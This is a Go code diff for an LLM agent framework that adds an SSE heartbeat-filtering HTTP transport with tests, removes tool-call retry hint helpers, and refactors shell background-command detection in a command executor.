tc := agent.NewTikTokenCounter()
|
||||
outRev := make([]adk.Message, 0, len(raw))
|
||||
used := 0
|
||||
for i := len(raw) - 1; i >= 0; i-- {
|
||||
msg := raw[i]
|
||||
n, err := tc.Count(modelName, string(msg.Role)+"\n"+msg.Content)
|
||||
if err != nil {
|
||||
n = (len(msg.Content) + 3) / 4
|
||||
}
|
||||
if n <= 0 {
|
||||
n = 1
|
||||
}
|
||||
if used+n > budget {
|
||||
break
|
||||
}
|
||||
used += n
|
||||
outRev = append(outRev, msg)
|
||||
}
|
||||
out := make([]adk.Message, 0, len(outRev))
|
||||
for i := len(outRev) - 1; i >= 0; i-- {
|
||||
out = append(out, outRev[i])
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
|
||||
@@ -1,51 +0,0 @@
|
||||
package multiagent
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/cloudwego/eino/schema"
|
||||
)
|
||||
|
||||
// maxToolCallRecoveryAttempts 含首次运行:首次 + 自动重试次数。
|
||||
// 例如为 3 表示最多共 3 次完整 DeepAgent 运行(2 次失败后各追加一条纠错提示)。
|
||||
// 该常量同时用于 JSON 参数错误和工具执行错误(如子代理名称不存在)的恢复重试。
|
||||
const maxToolCallRecoveryAttempts = 5
|
||||
|
||||
// toolCallArgumentsJSONRetryHint 追加在用户消息后,提示模型输出合法 JSON 工具参数(部分云厂商会在流式阶段校验 arguments)。
|
||||
func toolCallArgumentsJSONRetryHint() *schema.Message {
|
||||
return schema.UserMessage(`[系统提示] 上一次输出中,工具调用的 function.arguments 不是合法 JSON,接口已拒绝。请重新生成:每个 tool call 的 arguments 必须是完整、可解析的 JSON 对象字符串(键名用双引号,无多余逗号,括号配对)。不要输出截断或不完整的 JSON。
|
||||
|
||||
[System] Your previous tool call used invalid JSON in function.arguments and was rejected by the API. Regenerate with strictly valid JSON objects only (double-quoted keys, matched braces, no trailing commas).`)
|
||||
}
|
||||
|
||||
// toolCallArgumentsJSONRecoveryTimelineMessage 供 eino_recovery 事件落库与前端时间线展示。
|
||||
func toolCallArgumentsJSONRecoveryTimelineMessage(attempt int) string {
|
||||
return fmt.Sprintf(
|
||||
"接口拒绝了无效的工具参数 JSON。已向对话追加系统提示并要求模型重新生成合法的 function.arguments。"+
|
||||
"当前为第 %d/%d 轮完整运行。\n\n"+
|
||||
"The API rejected invalid JSON in tool arguments. A system hint was appended. This is full run %d of %d.",
|
||||
attempt+1, maxToolCallRecoveryAttempts, attempt+1, maxToolCallRecoveryAttempts,
|
||||
)
|
||||
}
|
||||
|
||||
// isRecoverableToolCallArgumentsJSONError 判断是否为「工具参数非合法 JSON」类流式错误,可通过追加提示后重跑一轮。
|
||||
func isRecoverableToolCallArgumentsJSONError(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
}
|
||||
s := strings.ToLower(err.Error())
|
||||
if !strings.Contains(s, "json") {
|
||||
return false
|
||||
}
|
||||
if strings.Contains(s, "function.arguments") || strings.Contains(s, "function arguments") {
|
||||
return true
|
||||
}
|
||||
if strings.Contains(s, "invalidparameter") && strings.Contains(s, "json") {
|
||||
return true
|
||||
}
|
||||
if strings.Contains(s, "must be in json format") {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -1,17 +0,0 @@
|
||||
package multiagent
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestIsRecoverableToolCallArgumentsJSONError(t *testing.T) {
|
||||
yes := errors.New(`failed to receive stream chunk: error, <400> InternalError.Algo.InvalidParameter: The "function.arguments" parameter of the code model must be in JSON format.`)
|
||||
if !isRecoverableToolCallArgumentsJSONError(yes) {
|
||||
t.Fatal("expected recoverable for function.arguments + JSON")
|
||||
}
|
||||
no := errors.New("unrelated network failure")
|
||||
if isRecoverableToolCallArgumentsJSONError(no) {
|
||||
t.Fatal("expected not recoverable")
|
||||
}
|
||||
}
|
||||
@@ -1,44 +0,0 @@
|
||||
package multiagent
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/cloudwego/eino/schema"
|
||||
)
|
||||
|
||||
// toolExecutionRetryHint returns a user message appended to the conversation to prompt
|
||||
// the LLM to adjust after a tool execution error (tool not found, binary missing,
|
||||
// runtime failure, network error, etc.).
|
||||
func toolExecutionRetryHint() *schema.Message {
|
||||
return schema.UserMessage(`[System] Your previous tool call failed. Possible causes:
|
||||
- The tool or sub-agent name does not exist (typo or unregistered name).
|
||||
- The tool call arguments were not valid JSON.
|
||||
- The tool's underlying binary is not installed or not in PATH.
|
||||
- The tool encountered a runtime error (timeout, network failure, permission denied, etc.).
|
||||
|
||||
Please review the error message above, check available tools, and either:
|
||||
1. Retry with corrected arguments or a different tool, OR
|
||||
2. Inform the user about the limitation and proceed with an alternative approach.
|
||||
|
||||
[系统提示] 上一次工具调用失败,可能原因:
|
||||
- 工具名或子代理名称不存在(拼写错误或未注册);
|
||||
- 工具调用参数不是合法 JSON;
|
||||
- 工具依赖的底层二进制程序未安装或不在 PATH 中;
|
||||
- 工具运行时遇到错误(超时、网络故障、权限不足等)。
|
||||
|
||||
请根据上述错误信息检查可用工具,然后:
|
||||
1. 修正参数或改用其他工具重试,或者
|
||||
2. 告知用户当前限制并采用替代方案继续。`)
|
||||
}
|
||||
|
||||
// toolExecutionRecoveryTimelineMessage returns a message for the eino_recovery event
|
||||
// displayed in the UI timeline when a tool execution error triggers a retry.
|
||||
func toolExecutionRecoveryTimelineMessage(attempt int) string {
|
||||
return fmt.Sprintf(
|
||||
"工具调用执行失败。已向对话追加纠错提示并要求模型调整策略。"+
|
||||
"当前为第 %d/%d 轮完整运行。\n\n"+
|
||||
"Tool call execution failed. "+
|
||||
"A corrective hint was appended. This is full run %d of %d.",
|
||||
attempt+1, maxToolCallRecoveryAttempts, attempt+1, maxToolCallRecoveryAttempts,
|
||||
)
|
||||
}
|
||||
@@ -192,13 +192,13 @@ func convertOpenAIToClaude(payload interface{}) (*claudeRequest, error) {
|
||||
fnName, _ := fn["name"].(string)
|
||||
fnArgs, _ := fn["arguments"]
|
||||
|
||||
// 防御:缺少 name 或 id 的 tool_call 会被 Claude 拒绝
|
||||
if strings.TrimSpace(fnName) == "" {
|
||||
fnName = "unknown_function"
|
||||
}
|
||||
if strings.TrimSpace(tcID) == "" {
|
||||
tcID = fmt.Sprintf("call_%d", time.Now().UnixNano())
|
||||
}
|
||||
// 防御:缺少 name 或 id 的 tool_call 会被 Claude 拒绝
|
||||
if strings.TrimSpace(fnName) == "" {
|
||||
fnName = "unknown_function"
|
||||
}
|
||||
if strings.TrimSpace(tcID) == "" {
|
||||
tcID = fmt.Sprintf("call_%d", time.Now().UnixNano())
|
||||
}
|
||||
|
||||
var inputRaw json.RawMessage
|
||||
switch v := fnArgs.(type) {
|
||||
@@ -752,25 +752,33 @@ func isClaudeProvider(cfg *config.OpenAIConfig) bool {
|
||||
// Eino HTTP Client Bridge
|
||||
// ============================================================
|
||||
|
||||
// NewEinoHTTPClient 为 einoopenai.ChatModelConfig 返回一个支持 Claude 自动桥接的 http.Client。
|
||||
// 当 cfg.Provider 为 claude 时,会拦截 /chat/completions 请求,透明转换为 Anthropic Messages API。
|
||||
// NewEinoHTTPClient 为 einoopenai.ChatModelConfig 返回一个 http.Client,包含两层 transport 包装:
|
||||
// 1. 当 cfg.Provider 为 claude 时,最内层套 claudeRoundTripper,把 OpenAI /chat/completions 透明
|
||||
// 桥接为 Anthropic /v1/messages(并把 Claude SSE 翻译回 OpenAI SSE 格式)。
|
||||
// 2. 最外层无条件套 einoSSESanitizingRoundTripper,吞掉中转站发的 SSE 心跳/注释/控制行
|
||||
// (": keepalive" / "event: ping" / "retry: 3000" 等),避免 Eino 用的 meguminnnnnnnnn/go-openai
|
||||
// SDK 在累计超过 300 个非 "data:" 行后抛 "stream has sent too many empty messages"。
|
||||
//
|
||||
// 两层都对调用方完全透明:普通 JSON 响应原样透传,仅当响应 Content-Type 为 text/event-stream 时
|
||||
// sanitizer 才会接管 body;data: payload (含 [DONE]、{"error":...}) 一字节不改。
|
||||
func NewEinoHTTPClient(cfg *config.OpenAIConfig, base *http.Client) *http.Client {
|
||||
if base == nil {
|
||||
base = http.DefaultClient
|
||||
}
|
||||
if !isClaudeProvider(cfg) {
|
||||
return base
|
||||
}
|
||||
|
||||
cloned := *base
|
||||
transport := base.Transport
|
||||
if transport == nil {
|
||||
transport = http.DefaultTransport
|
||||
}
|
||||
cloned.Transport = &claudeRoundTripper{
|
||||
base: transport,
|
||||
config: cfg,
|
||||
if isClaudeProvider(cfg) {
|
||||
transport = &claudeRoundTripper{
|
||||
base: transport,
|
||||
config: cfg,
|
||||
}
|
||||
}
|
||||
transport = &einoSSESanitizingRoundTripper{base: transport}
|
||||
cloned.Transport = transport
|
||||
return &cloned
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,149 @@
|
||||
package openai
|
||||
|
||||
// eino_sse_sanitizer.go 解决 Eino 走 meguminnnnnnnnn/go-openai SDK 时,
|
||||
// 中转站心跳/SSE 控制行累计 > 300 行触发 ErrTooManyEmptyStreamMessages
|
||||
// (报错文案: "stream has sent too many empty messages")的问题。
|
||||
//
|
||||
// 触发链路:
|
||||
// einoopenai.NewChatModel
|
||||
// → eino-ext/libs/acl/openai → meguminnnnnnnnn/go-openai
|
||||
// → streamReader.processLines() 对所有非 "data:" 行计数, > 300 即抛错。
|
||||
//
|
||||
// 中转站常见的非 data: 行(合法 SSE 但 SDK 不接受):
|
||||
// ":" / ": keepalive" / ": ping" / "event: ping" / "retry: 3000"
|
||||
// 以及思考型模型 prefill 期间穿插的大量心跳。
|
||||
//
|
||||
// 兜底策略: 在 HTTP transport 层把响应 Body 包一层 reader, 只放行 "data:"
|
||||
// 开头的行, 把心跳/注释/事件类型行就地吞掉。下游 SDK 永远见不到非 data: 行,
|
||||
// 计数器始终为 0, 该错误不可能再发生。
|
||||
//
|
||||
// 该层对调用方完全透明:
|
||||
// - 仅当响应 Content-Type 是 text/event-stream 时介入;普通 JSON 响应原样透传
|
||||
// - data: payload (含 [DONE] 与 {"error":...}) 一字节不改
|
||||
// - 上游真断流 (EOF / connection reset / context cancel) 原样透传
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const (
|
||||
// einoSSEReaderBufSize 给 bufio 一个较大的初始缓冲, 避免单行大 JSON chunk
|
||||
// (含工具调用 arguments / reasoning_content) 频繁触发缓冲区扩容。
|
||||
einoSSEReaderBufSize = 64 * 1024
|
||||
)
|
||||
|
||||
// einoSSESanitizingRoundTripper 包装下游 RoundTripper, 对 SSE 响应做行级清洗。
|
||||
type einoSSESanitizingRoundTripper struct {
|
||||
base http.RoundTripper
|
||||
}
|
||||
|
||||
func (rt *einoSSESanitizingRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||
resp, err := rt.base.RoundTrip(req)
|
||||
if err != nil || resp == nil {
|
||||
return resp, err
|
||||
}
|
||||
if !isSSEResponse(resp) {
|
||||
return resp, nil
|
||||
}
|
||||
resp.Body = newEinoSSESanitizingBody(resp.Body)
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// isSSEResponse 仅对 200 + text/event-stream 的响应做清洗;
|
||||
// 错误响应 (4xx/5xx 通常是 application/json) 不动, 由 SDK 走原错误路径。
|
||||
func isSSEResponse(resp *http.Response) bool {
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false
|
||||
}
|
||||
ct := resp.Header.Get("Content-Type")
|
||||
if ct == "" {
|
||||
return false
|
||||
}
|
||||
ct = strings.ToLower(strings.TrimSpace(ct))
|
||||
// 兼容 "text/event-stream", "text/event-stream; charset=utf-8" 等。
|
||||
return strings.HasPrefix(ct, "text/event-stream")
|
||||
}
|
||||
|
||||
// einoSSESanitizingBody 是包装后的响应体: 只放行 data: 行, 其它行吞掉。
|
||||
type einoSSESanitizingBody struct {
|
||||
upstream io.ReadCloser
|
||||
reader *bufio.Reader
|
||||
pending []byte // 已清洗、待返回给下游的字节 (永远以 \n 结尾的完整 data: 行)
|
||||
err error // upstream 终态错误 (io.EOF 或网络错误)
|
||||
}
|
||||
|
||||
func newEinoSSESanitizingBody(body io.ReadCloser) *einoSSESanitizingBody {
|
||||
return &einoSSESanitizingBody{
|
||||
upstream: body,
|
||||
reader: bufio.NewReaderSize(body, einoSSEReaderBufSize),
|
||||
}
|
||||
}
|
||||
|
||||
func (b *einoSSESanitizingBody) Read(p []byte) (int, error) {
|
||||
if len(p) == 0 {
|
||||
return 0, nil
|
||||
}
|
||||
if len(b.pending) > 0 {
|
||||
n := copy(p, b.pending)
|
||||
b.pending = b.pending[n:]
|
||||
return n, nil
|
||||
}
|
||||
|
||||
// 从上游读, 直到攒出一行 data: 或拿到终态。
|
||||
// 单次循环可能丢弃任意多行心跳, 但只放行至多一行 data: 后退出,
|
||||
// 避免一次 Read 阻塞过久 / pending 缓冲过大。
|
||||
for b.err == nil {
|
||||
line, err := b.reader.ReadBytes('\n')
|
||||
if len(line) > 0 {
|
||||
if isPassThroughSSELine(line) {
|
||||
if line[len(line)-1] != '\n' {
|
||||
line = append(line, '\n')
|
||||
}
|
||||
b.pending = line
|
||||
if err != nil {
|
||||
b.err = err
|
||||
}
|
||||
break
|
||||
}
|
||||
// 非 data: 行 (空行 / ":" 注释 / event: / retry: / id: / 任何裸文本)
|
||||
// 全部吞掉, 不向下游透出, 继续循环读下一行。
|
||||
}
|
||||
if err != nil {
|
||||
b.err = err
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if len(b.pending) > 0 {
|
||||
n := copy(p, b.pending)
|
||||
b.pending = b.pending[n:]
|
||||
return n, nil
|
||||
}
|
||||
return 0, b.err
|
||||
}
|
||||
|
||||
func (b *einoSSESanitizingBody) Close() error {
|
||||
return b.upstream.Close()
|
||||
}
|
||||
|
||||
// isPassThroughSSELine 判定该行是否需要原样放行给下游 SDK。
|
||||
// 仅 "data:" (大小写不敏感, 可有任意前导空白) 开头的行需要保留。
|
||||
// 注意: 不能用 TrimSpace 去尾部换行后再判, 否则 " data: x" 会被误判;
|
||||
// 我们只 trim 前导空白, 与 SDK 内部 TrimSpace 后再正则 ^data:\s* 的语义一致。
|
||||
func isPassThroughSSELine(line []byte) bool {
|
||||
trimmed := bytes.TrimLeft(line, " \t")
|
||||
if len(trimmed) < 5 {
|
||||
return false
|
||||
}
|
||||
// 大小写不敏感比较前 5 字节是否为 "data:"。SSE 规范要求字段名小写,
|
||||
// 但宽松匹配可以兼容个别中转站的非规范实现。
|
||||
return (trimmed[0] == 'd' || trimmed[0] == 'D') &&
|
||||
(trimmed[1] == 'a' || trimmed[1] == 'A') &&
|
||||
(trimmed[2] == 't' || trimmed[2] == 'T') &&
|
||||
(trimmed[3] == 'a' || trimmed[3] == 'A') &&
|
||||
trimmed[4] == ':'
|
||||
}
|
||||
@@ -0,0 +1,303 @@
|
||||
package openai
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"errors"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"regexp"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// 复现 meguminnnnnnnnn/go-openai 的 SSE 行计数算法 (默认 limit=300):
|
||||
// - 逐行读
|
||||
// - 非 "data:" 行 (空行 / ":" 注释 / event: / retry:) 累计 emptyMessagesCount
|
||||
// - > 300 抛 ErrTooManyEmptyStreamMessages
|
||||
// - 遇到 data: 行 reset, 返回 payload
|
||||
//
|
||||
// 这一算法与上游 SDK 的 stream_reader.go processLines() 严格一致 (验证依据见
|
||||
// /Users/temp/go/pkg/mod/github.com/meguminnnnnnnnn/go-openai@v0.1.2/stream_reader.go)。
|
||||
// 测试中只复刻 "限制触发" 这一行为, 用来回归验证 sanitizer 的根因修复。
|
||||
var errTooManyEmptyStreamMessages = errors.New("stream has sent too many empty messages")
|
||||
|
||||
func sdkLikeRecvAll(body io.Reader, limit uint) ([]string, error) {
|
||||
headerData := regexp.MustCompile(`^data:\s*`)
|
||||
r := bufio.NewReader(body)
|
||||
var payloads []string
|
||||
for {
|
||||
var emptyMessagesCount uint
|
||||
var payload []byte
|
||||
for {
|
||||
line, err := r.ReadBytes('\n')
|
||||
if err != nil {
|
||||
if err == io.EOF {
|
||||
return payloads, nil
|
||||
}
|
||||
return payloads, err
|
||||
}
|
||||
noSpace := bytes.TrimSpace(line)
|
||||
if !headerData.Match(noSpace) {
|
||||
emptyMessagesCount++
|
||||
if emptyMessagesCount > limit {
|
||||
return payloads, errTooManyEmptyStreamMessages
|
||||
}
|
||||
continue
|
||||
}
|
||||
payload = headerData.ReplaceAll(noSpace, nil)
|
||||
break
|
||||
}
|
||||
if string(payload) == "[DONE]" {
|
||||
return payloads, nil
|
||||
}
|
||||
payloads = append(payloads, string(payload))
|
||||
}
|
||||
}
|
||||
|
||||
func newSSEServer(t *testing.T, body string, contentType string, status int) *httptest.Server {
|
||||
t.Helper()
|
||||
return httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
|
||||
if contentType != "" {
|
||||
w.Header().Set("Content-Type", contentType)
|
||||
}
|
||||
w.WriteHeader(status)
|
||||
_, _ = io.WriteString(w, body)
|
||||
}))
|
||||
}
|
||||
|
||||
func sanitizingClient(base *http.Client) *http.Client {
|
||||
if base == nil {
|
||||
base = &http.Client{}
|
||||
}
|
||||
cloned := *base
|
||||
transport := base.Transport
|
||||
if transport == nil {
|
||||
transport = http.DefaultTransport
|
||||
}
|
||||
cloned.Transport = &einoSSESanitizingRoundTripper{base: transport}
|
||||
return &cloned
|
||||
}
|
||||
|
||||
func readAll(t *testing.T, body io.ReadCloser) string {
|
||||
t.Helper()
|
||||
defer body.Close()
|
||||
out, err := io.ReadAll(body)
|
||||
if err != nil {
|
||||
t.Fatalf("read body: %v", err)
|
||||
}
|
||||
return string(out)
|
||||
}
|
||||
|
||||
// 1) 仅 data: 行 → 一字节不改地透传。
|
||||
func TestSSESanitizer_PassesDataLinesUnchanged(t *testing.T) {
|
||||
body := "data: {\"a\":1}\ndata: {\"b\":2}\ndata: [DONE]\n"
|
||||
srv := newSSEServer(t, body, "text/event-stream", 200)
|
||||
defer srv.Close()
|
||||
|
||||
resp, err := sanitizingClient(nil).Get(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatalf("get: %v", err)
|
||||
}
|
||||
got := readAll(t, resp.Body)
|
||||
if got != body {
|
||||
t.Fatalf("body mismatch:\nwant %q\ngot %q", body, got)
|
||||
}
|
||||
}
|
||||
|
||||
// 2) 心跳/注释/事件类型行被吞掉, 仅保留 data: 行。
|
||||
func TestSSESanitizer_DropsHeartbeatsAndControlLines(t *testing.T) {
|
||||
body := strings.Join([]string{
|
||||
": keepalive",
|
||||
"",
|
||||
"event: ping",
|
||||
"retry: 3000",
|
||||
"id: 42",
|
||||
"data: {\"x\":1}",
|
||||
": ping",
|
||||
"",
|
||||
"data: {\"x\":2}",
|
||||
"data: [DONE]",
|
||||
"",
|
||||
}, "\n")
|
||||
srv := newSSEServer(t, body, "text/event-stream", 200)
|
||||
defer srv.Close()
|
||||
|
||||
resp, err := sanitizingClient(nil).Get(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatalf("get: %v", err)
|
||||
}
|
||||
got := readAll(t, resp.Body)
|
||||
want := "data: {\"x\":1}\ndata: {\"x\":2}\ndata: [DONE]\n"
|
||||
if got != want {
|
||||
t.Fatalf("sanitized body mismatch:\nwant %q\ngot %q", want, got)
|
||||
}
|
||||
}
|
||||
|
||||
// 3) 根因回归: 上游堆 500 行心跳后才发 data:, 原始 SDK 算法会抛
|
||||
// ErrTooManyEmptyStreamMessages, sanitize 之后必须能正常拿到所有 data:。
|
||||
func TestSSESanitizer_ProtectsAgainstTooManyEmptyMessages(t *testing.T) {
|
||||
const heartbeats = 500
|
||||
var buf bytes.Buffer
|
||||
for i := 0; i < heartbeats; i++ {
|
||||
buf.WriteString(": keepalive\n")
|
||||
}
|
||||
buf.WriteString("data: {\"chunk\":1}\n")
|
||||
buf.WriteString("data: {\"chunk\":2}\n")
|
||||
buf.WriteString("data: [DONE]\n")
|
||||
|
||||
t.Run("baseline_without_sanitizer_must_fail", func(t *testing.T) {
|
||||
_, err := sdkLikeRecvAll(bytes.NewReader(buf.Bytes()), 300)
|
||||
if !errors.Is(err, errTooManyEmptyStreamMessages) {
|
||||
t.Fatalf("expected ErrTooManyEmptyStreamMessages, got %v", err)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("with_sanitizer_must_succeed", func(t *testing.T) {
|
||||
srv := newSSEServer(t, buf.String(), "text/event-stream", 200)
|
||||
defer srv.Close()
|
||||
|
||||
resp, err := sanitizingClient(nil).Get(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatalf("get: %v", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
payloads, err := sdkLikeRecvAll(resp.Body, 300)
|
||||
if err != nil {
|
||||
t.Fatalf("sdk-like recv after sanitize: %v", err)
|
||||
}
|
||||
want := []string{`{"chunk":1}`, `{"chunk":2}`}
|
||||
if len(payloads) != len(want) {
|
||||
t.Fatalf("payload count mismatch: want %d got %d (%v)", len(want), len(payloads), payloads)
|
||||
}
|
||||
for i, w := range want {
|
||||
if payloads[i] != w {
|
||||
t.Fatalf("payload[%d] mismatch: want %q got %q", i, w, payloads[i])
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// 4) 心跳穿插在 data: 之间也能正确清洗 (思考型模型 prefill 期间常见)。
|
||||
func TestSSESanitizer_HeartbeatsInterleavedWithData(t *testing.T) {
|
||||
var buf bytes.Buffer
|
||||
buf.WriteString("data: {\"chunk\":1}\n")
|
||||
for i := 0; i < 400; i++ {
|
||||
buf.WriteString(": keepalive\n")
|
||||
}
|
||||
buf.WriteString("data: {\"chunk\":2}\n")
|
||||
buf.WriteString("data: [DONE]\n")
|
||||
|
||||
srv := newSSEServer(t, buf.String(), "text/event-stream", 200)
|
||||
defer srv.Close()
|
||||
|
||||
resp, err := sanitizingClient(nil).Get(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatalf("get: %v", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
payloads, err := sdkLikeRecvAll(resp.Body, 300)
|
||||
if err != nil {
|
||||
t.Fatalf("sdk-like recv: %v", err)
|
||||
}
|
||||
if got, want := len(payloads), 2; got != want {
|
||||
t.Fatalf("payload count: want %d got %d", want, got)
|
||||
}
|
||||
}
|
||||
|
||||
// 5) 非 SSE 响应 (例如非流式 JSON) 不应被 sanitizer 介入。
|
||||
func TestSSESanitizer_PassesNonSSEResponseUntouched(t *testing.T) {
|
||||
body := `{"id":"x","object":"chat.completion","choices":[]}`
|
||||
srv := newSSEServer(t, body, "application/json", 200)
|
||||
defer srv.Close()
|
||||
|
||||
resp, err := sanitizingClient(nil).Get(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatalf("get: %v", err)
|
||||
}
|
||||
got := readAll(t, resp.Body)
|
||||
if got != body {
|
||||
t.Fatalf("non-SSE body must be untouched:\nwant %q\ngot %q", body, got)
|
||||
}
|
||||
}
|
||||
|
||||
// 6) 错误响应 (4xx/5xx) 不应被 sanitize, 即使 Content-Type 是 SSE 也不动,
|
||||
// 避免吞掉类似 "data: " 之外的错误正文。
|
||||
func TestSSESanitizer_PassesNon200Untouched(t *testing.T) {
|
||||
body := `{"error":{"message":"rate limit"}}`
|
||||
srv := newSSEServer(t, body, "text/event-stream", 429)
|
||||
defer srv.Close()
|
||||
|
||||
resp, err := sanitizingClient(nil).Get(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatalf("get: %v", err)
|
||||
}
|
||||
got := readAll(t, resp.Body)
|
||||
if got != body {
|
||||
t.Fatalf("error body must be untouched:\nwant %q\ngot %q", body, got)
|
||||
}
|
||||
}
|
||||
|
||||
// 7) data: 行末尾若缺 \n (异常上游) sanitizer 也补齐, 保证下游按行解析。
|
||||
func TestSSESanitizer_AppendsTrailingNewlineIfMissing(t *testing.T) {
|
||||
body := "data: {\"a\":1}"
|
||||
srv := newSSEServer(t, body, "text/event-stream", 200)
|
||||
defer srv.Close()
|
||||
|
||||
resp, err := sanitizingClient(nil).Get(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatalf("get: %v", err)
|
||||
}
|
||||
got := readAll(t, resp.Body)
|
||||
want := "data: {\"a\":1}\n"
|
||||
if got != want {
|
||||
t.Fatalf("trailing newline:\nwant %q\ngot %q", want, got)
|
||||
}
|
||||
}
|
||||
|
||||
// 8) 大 chunk (一行数十 KB) 也能完整透传, 不被切断。
|
||||
func TestSSESanitizer_LargeDataLinePassesIntact(t *testing.T) {
|
||||
huge := strings.Repeat("x", 80*1024)
|
||||
body := "data: {\"big\":\"" + huge + "\"}\ndata: [DONE]\n"
|
||||
srv := newSSEServer(t, body, "text/event-stream", 200)
|
||||
defer srv.Close()
|
||||
|
||||
resp, err := sanitizingClient(nil).Get(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatalf("get: %v", err)
|
||||
}
|
||||
got := readAll(t, resp.Body)
|
||||
if got != body {
|
||||
t.Fatalf("large body length mismatch: want %d got %d", len(body), len(got))
|
||||
}
|
||||
}
|
||||
|
||||
// 9) isPassThroughSSELine 单元覆盖。
|
||||
func TestIsPassThroughSSELine(t *testing.T) {
|
||||
cases := []struct {
|
||||
line string
|
||||
want bool
|
||||
}{
|
||||
{"data: {\"a\":1}\n", true},
|
||||
{"DATA: x\n", true},
|
||||
{" data: x\n", true},
|
||||
{"data:\n", true},
|
||||
{"\n", false},
|
||||
{"\r\n", false},
|
||||
{": keepalive\n", false},
|
||||
{":\n", false},
|
||||
{"event: ping\n", false},
|
||||
{"retry: 3000\n", false},
|
||||
{"id: 42\n", false},
|
||||
{"datax: y\n", false},
|
||||
{"da", false},
|
||||
}
|
||||
for _, c := range cases {
|
||||
if got := isPassThroughSSELine([]byte(c.line)); got != c.want {
|
||||
t.Errorf("isPassThroughSSELine(%q) = %v, want %v", c.line, got, c.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
+14
-14
@@ -281,9 +281,9 @@ func (c *Client) ChatCompletionStream(ctx context.Context, payload interface{},
|
||||
|
||||
// StreamToolCall 流式工具调用的累积结果(arguments 以字符串形式拼接,留给上层再解析为 JSON)。
|
||||
type StreamToolCall struct {
|
||||
Index int
|
||||
ID string
|
||||
Type string
|
||||
Index int
|
||||
ID string
|
||||
Type string
|
||||
FunctionName string
|
||||
FunctionArgsStr string
|
||||
}
|
||||
@@ -348,10 +348,10 @@ func (c *Client) ChatCompletionStreamWithToolCalls(
|
||||
Arguments string `json:"arguments,omitempty"`
|
||||
}
|
||||
type toolCallDelta struct {
|
||||
Index int `json:"index,omitempty"`
|
||||
ID string `json:"id,omitempty"`
|
||||
Type string `json:"type,omitempty"`
|
||||
Function toolCallFunctionDelta `json:"function,omitempty"`
|
||||
Index int `json:"index,omitempty"`
|
||||
ID string `json:"id,omitempty"`
|
||||
Type string `json:"type,omitempty"`
|
||||
Function toolCallFunctionDelta `json:"function,omitempty"`
|
||||
}
|
||||
type streamDelta2 struct {
|
||||
Content string `json:"content,omitempty"`
|
||||
@@ -371,10 +371,10 @@ func (c *Client) ChatCompletionStreamWithToolCalls(
|
||||
}
|
||||
|
||||
type toolCallAccum struct {
|
||||
id string
|
||||
typ string
|
||||
name string
|
||||
args strings.Builder
|
||||
id string
|
||||
typ string
|
||||
name string
|
||||
args strings.Builder
|
||||
}
|
||||
toolCallAccums := make(map[int]*toolCallAccum)
|
||||
|
||||
@@ -475,9 +475,9 @@ func (c *Client) ChatCompletionStreamWithToolCalls(
|
||||
for _, idx := range indices {
|
||||
acc := toolCallAccums[idx]
|
||||
tc := StreamToolCall{
|
||||
Index: idx,
|
||||
ID: acc.id,
|
||||
Type: acc.typ,
|
||||
Index: idx,
|
||||
ID: acc.id,
|
||||
Type: acc.typ,
|
||||
FunctionName: acc.name,
|
||||
FunctionArgsStr: acc.args.String(),
|
||||
}
|
||||
|
||||
@@ -699,9 +699,9 @@ func (e *Executor) formatParamValue(param config.ParameterConfig, value interfac
|
||||
}
|
||||
}
|
||||
|
||||
// isBackgroundCommand 检测命令是否为完全后台命令(末尾有 & 符号,但不在引号内)
|
||||
// 注意:command1 & command2 这种情况不算完全后台,因为command2会在前台执行
|
||||
func (e *Executor) isBackgroundCommand(command string) bool {
|
||||
// IsBackgroundShellCommand 检测命令是否为完全后台命令(末尾有独立 &,且不在引号内)。
|
||||
// command1 & command2 不算完全后台(command2 仍在前台执行)。
|
||||
func IsBackgroundShellCommand(command string) bool {
|
||||
// 移除首尾空格
|
||||
command = strings.TrimSpace(command)
|
||||
if command == "" {
|
||||
@@ -827,7 +827,7 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
|
||||
}
|
||||
|
||||
// 检测是否为后台命令(包含 & 符号,但不在引号内)
|
||||
isBackground := e.isBackgroundCommand(command)
|
||||
isBackground := IsBackgroundShellCommand(command)
|
||||
|
||||
// 构建命令
|
||||
var cmd *exec.Cmd
|
||||
@@ -852,9 +852,10 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
|
||||
commandWithoutAmpersand := strings.TrimSuffix(strings.TrimSpace(command), "&")
|
||||
commandWithoutAmpersand = strings.TrimSpace(commandWithoutAmpersand)
|
||||
|
||||
// 构建新命令:command & pid=$!; echo $pid
|
||||
// 使用变量保存PID,确保能获取到正确的后台进程PID
|
||||
